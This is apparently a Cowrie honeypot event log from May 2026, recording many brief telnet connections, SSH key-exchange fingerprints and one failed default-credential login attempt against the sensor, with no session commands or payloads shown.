{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:41.539899Z","src_ip":"202.145.0.61","session":"9524a198aa90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57604,"dst_ip":"10.17.0.5","dst_port":23,"session":"6febaf1f05cf","protocol":"telnet","message":"New connection: 23.111.140.22:57604 (10.17.0.5:23) [session: 6febaf1f05cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:41.665957Z"}
{"eventid":"cowrie.session.closed","duration":30.424750328063965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:42.149754Z","src_ip":"23.111.140.22","session":"268b5ff64648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.283714056015015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:42.323458Z","src_ip":"23.111.140.22","session":"7423dc35fe68","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"000000","message":"login attempt [guest/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:42.506091Z","src_ip":"202.145.0.61","session":"9524a198aa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:43.743194Z","src_ip":"202.145.0.61","session":"9524a198aa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.151931285858154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:43.953967Z","src_ip":"23.111.140.22","session":"559b1d91dae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67960524559021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:44.121552Z","src_ip":"23.111.140.22","session":"92747339ff62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734609842300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:44.262071Z","src_ip":"23.111.140.22","session":"57704654da3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37438,"dst_ip":"10.17.0.5","dst_port":23,"session":"91af7c2fe572","protocol":"telnet","message":"New connection: 23.111.140.22:37438 (10.17.0.5:23) [session: 91af7c2fe572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:44.413470Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41710,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54290a4d94d","protocol":"telnet","message":"New connection: 23.111.140.22:41710 (10.17.0.5:23) [session: a54290a4d94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:45.916559Z"}
{"eventid":"cowrie.session.closed","duration":38.99895238876343,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:46.712912Z","src_ip":"23.111.140.22","session":"ac6d16667493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82356858253479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:47.032687Z","src_ip":"23.111.140.22","session":"fe688aba8c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44214,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3d2ce82844","protocol":"telnet","message":"New connection: 23.111.140.22:44214 (10.17.0.5:23) [session: fa3d2ce82844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:47.816904Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45094,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2e00ac90fd3","protocol":"telnet","message":"New connection: 23.111.140.22:45094 (10.17.0.5:23) [session: e2e00ac90fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:48.095582Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34206,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1998c5565a1","protocol":"telnet","message":"New connection: 174.138.46.234:34206 (159.203.135.109:23) [session: d1998c5565a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:48.143369Z"}
{"eventid":"cowrie.session.closed","duration":33.37817120552063,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:48.788969Z","src_ip":"23.111.140.22","session":"f51e0517a13d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.601866483688354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:49.129339Z","src_ip":"23.111.140.22","session":"aecf5e55189a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4745671749115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:49.288954Z","src_ip":"23.111.140.22","session":"53417b859d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970157384872437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:50.065252Z","src_ip":"23.111.140.22","session":"df98534ff26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53802,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f5f6b3647a","protocol":"telnet","message":"New connection: 23.111.140.22:53802 (10.17.0.5:23) [session: 41f5f6b3647a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:50.113605Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55804,"dst_ip":"10.17.0.5","dst_port":23,"session":"74dfef02bf64","protocol":"telnet","message":"New connection: 23.111.140.22:55804 (10.17.0.5:23) [session: 74dfef02bf64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:50.822788Z"}
{"eventid":"cowrie.session.closed","duration":31.152076482772827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:50.908251Z","src_ip":"23.111.140.22","session":"dc9004ef504e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77597498893738,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:50.994394Z","src_ip":"23.111.140.22","session":"dc8bcedc575d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55642,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4260b99795","protocol":"telnet","message":"New connection: 23.111.140.22:55642 (10.17.0.5:23) [session: fe4260b99795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:51.764075Z"}
{"eventid":"cowrie.session.closed","duration":30.690625429153442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:52.016868Z","src_ip":"23.111.140.22","session":"0920b7fdf70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81218934059143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:52.165262Z","src_ip":"23.111.140.22","session":"f4f397daa5e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59498,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3be687cf755","protocol":"telnet","message":"New connection: 23.111.140.22:59498 (10.17.0.5:23) [session: e3be687cf755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:52.196976Z"}
{"eventid":"cowrie.session.closed","duration":31.340669631958008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:52.335067Z","src_ip":"23.111.140.22","session":"d8323d24ad4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72841215133667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:52.508699Z","src_ip":"23.111.140.22","session":"a94cb9eb0887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00412130355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:52.581159Z","src_ip":"23.111.140.22","session":"df83decf6ee2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736639976501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:53.266748Z","src_ip":"23.111.140.22","session":"9d00456d25d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8490dad50d1","protocol":"telnet","message":"New connection: 23.111.140.22:34764 (10.17.0.5:23) [session: c8490dad50d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:53.280761Z"}
{"eventid":"cowrie.session.closed","duration":31.30571460723877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:53.504396Z","src_ip":"23.111.140.22","session":"b296e566b74c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36252,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc739e79e208","protocol":"telnet","message":"New connection: 23.111.140.22:36252 (10.17.0.5:23) [session: bc739e79e208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:53.826870Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48598,"dst_ip":"10.17.0.5","dst_port":23,"session":"9debc4b50f9e","protocol":"telnet","message":"New connection: 23.111.140.22:48598 (10.17.0.5:23) [session: 9debc4b50f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:53.892056Z"}
{"eventid":"cowrie.session.closed","duration":30.931637048721313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:54.793278Z","src_ip":"23.111.140.22","session":"1253548e8ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38392,"dst_ip":"10.17.0.5","dst_port":23,"session":"e188e9ab38ea","protocol":"telnet","message":"New connection: 23.111.140.22:38392 (10.17.0.5:23) [session: e188e9ab38ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:55.499266Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f16688974c","protocol":"telnet","message":"New connection: 23.111.140.22:34608 (10.17.0.5:23) [session: 62f16688974c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:56.028326Z"}
{"eventid":"cowrie.session.closed","duration":0.005560159683227539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:56.033779Z","src_ip":"23.111.140.22","session":"62f16688974c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40598,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ddb563b6bb","protocol":"telnet","message":"New connection: 23.111.140.22:40598 (10.17.0.5:23) [session: c2ddb563b6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:56.258748Z"}
{"eventid":"cowrie.session.closed","duration":30.36729097366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:57.031173Z","src_ip":"23.111.140.22","session":"d95b0cd7c30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adf5373426b","protocol":"telnet","message":"New connection: 23.111.140.22:54174 (10.17.0.5:23) [session: 0adf5373426b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:57.474905Z"}
{"eventid":"cowrie.session.closed","duration":33.339895725250244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:58.266501Z","src_ip":"23.111.140.22","session":"e672fba3f2b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.508368492126465,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:58.876390Z","src_ip":"23.111.140.22","session":"eae317142386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53450,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec70469160c","protocol":"telnet","message":"New connection: 23.111.140.22:53450 (10.17.0.5:23) [session: 1ec70469160c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:59.726766Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":33704,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed57c31911c9","protocol":"ssh","message":"New connection: 45.148.10.121:33704 (10.17.0.5:22) [session: ed57c31911c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:00.037379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:00.042961Z","src_ip":"45.148.10.121","session":"ed57c31911c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:00.131250Z","src_ip":"45.148.10.121","session":"ed57c31911c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10610318183899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:00.140998Z","src_ip":"23.111.140.22","session":"64912710f0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54198,"dst_ip":"10.17.0.5","dst_port":23,"session":"0397b0ebe4b9","protocol":"telnet","message":"New connection: 23.111.140.22:54198 (10.17.0.5:23) [session: 0397b0ebe4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:00.975249Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57218,"dst_ip":"10.17.0.5","dst_port":23,"session":"07160af22e37","protocol":"telnet","message":"New connection: 23.111.140.22:57218 (10.17.0.5:23) [session: 07160af22e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:00.992820Z"}
{"eventid":"cowrie.session.closed","duration":31.377596855163574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:01.352249Z","src_ip":"23.111.140.22","session":"77626b5115db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58820,"dst_ip":"10.17.0.5","dst_port":23,"session":"30815a372957","protocol":"telnet","message":"New connection: 23.111.140.22:58820 (10.17.0.5:23) [session: 30815a372957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:02.583231Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36072,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3c6c85708f","protocol":"telnet","message":"New connection: 23.111.140.22:36072 (10.17.0.5:23) [session: ea3c6c85708f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:03.580439Z"}
{"eventid":"cowrie.session.closed","duration":32.41083002090454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:03.646751Z","src_ip":"23.111.140.22","session":"d09b4e0aa44b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53308,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb002009f78","protocol":"telnet","message":"New connection: 23.111.140.22:53308 (10.17.0.5:23) [session: 1cb002009f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:03.715965Z"}
{"eventid":"cowrie.session.closed","duration":36.311161279678345,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:04.019504Z","src_ip":"23.111.140.22","session":"3b825400117c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45374,"dst_ip":"10.17.0.5","dst_port":23,"session":"48004aee731d","protocol":"telnet","message":"New connection: 23.111.140.22:45374 (10.17.0.5:23) [session: 48004aee731d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:04.129722Z"}
{"eventid":"cowrie.session.closed","duration":31.870243787765503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:04.224314Z","src_ip":"23.111.140.22","session":"deed0c53c8f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38793468475342,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:04.517450Z","src_ip":"23.111.140.22","session":"5d8d4b35a005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"88fec7f33204","protocol":"telnet","message":"New connection: 23.111.140.22:38756 (10.17.0.5:23) [session: 88fec7f33204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:04.523484Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45914,"dst_ip":"10.17.0.5","dst_port":23,"session":"9245ab53c635","protocol":"telnet","message":"New connection: 23.111.140.22:45914 (10.17.0.5:23) [session: 9245ab53c635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:07.074859Z"}
{"eventid":"cowrie.session.closed","duration":31.926318407058716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:07.182704Z","src_ip":"23.111.140.22","session":"fe040e6155f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880813360214233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:07.234564Z","src_ip":"23.111.140.22","session":"2ee4ed1a5211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47222,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fbff2fdede","protocol":"telnet","message":"New connection: 23.111.140.22:47222 (10.17.0.5:23) [session: e1fbff2fdede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:07.570477Z"}
{"eventid":"cowrie.session.closed","duration":31.003533124923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:10.047646Z","src_ip":"23.111.140.22","session":"b244d0757923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55330,"dst_ip":"10.17.0.5","dst_port":23,"session":"0663cf57220b","protocol":"telnet","message":"New connection: 23.111.140.22:55330 (10.17.0.5:23) [session: 0663cf57220b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:10.410000Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"05516cf0138d","protocol":"telnet","message":"New connection: 23.111.140.22:57646 (10.17.0.5:23) [session: 05516cf0138d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:11.198845Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e66880e049","protocol":"telnet","message":"New connection: 23.111.140.22:54756 (10.17.0.5:23) [session: b5e66880e049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:11.208123Z"}
{"eventid":"cowrie.session.closed","duration":31.559332132339478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:11.768948Z","src_ip":"23.111.140.22","session":"25010f5026cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53770709037781,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:12.524393Z","src_ip":"23.111.140.22","session":"699eb8f0e08c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33428,"dst_ip":"10.17.0.5","dst_port":23,"session":"52eaeda4ebcf","protocol":"telnet","message":"New connection: 23.111.140.22:33428 (10.17.0.5:23) [session: 52eaeda4ebcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:12.673130Z"}
{"eventid":"cowrie.session.closed","duration":82.73787999153137,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:13.141523Z","src_ip":"23.111.140.22","session":"f0cccb1db7f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89c8dd865f7","protocol":"telnet","message":"New connection: 23.111.140.22:35282 (10.17.0.5:23) [session: b89c8dd865f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:13.397933Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34206,"dst_ip":"10.17.0.5","dst_port":23,"session":"497a7dd1a87b","protocol":"telnet","message":"New connection: 23.111.140.22:34206 (10.17.0.5:23) [session: 497a7dd1a87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:13.979160Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34748,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c412b4b0c31","protocol":"telnet","message":"New connection: 23.111.140.22:34748 (10.17.0.5:23) [session: 1c412b4b0c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:14.212940Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35156,"dst_ip":"10.17.0.5","dst_port":23,"session":"76428f3bb7d7","protocol":"telnet","message":"New connection: 23.111.140.22:35156 (10.17.0.5:23) [session: 76428f3bb7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:26:14.353964Z"}
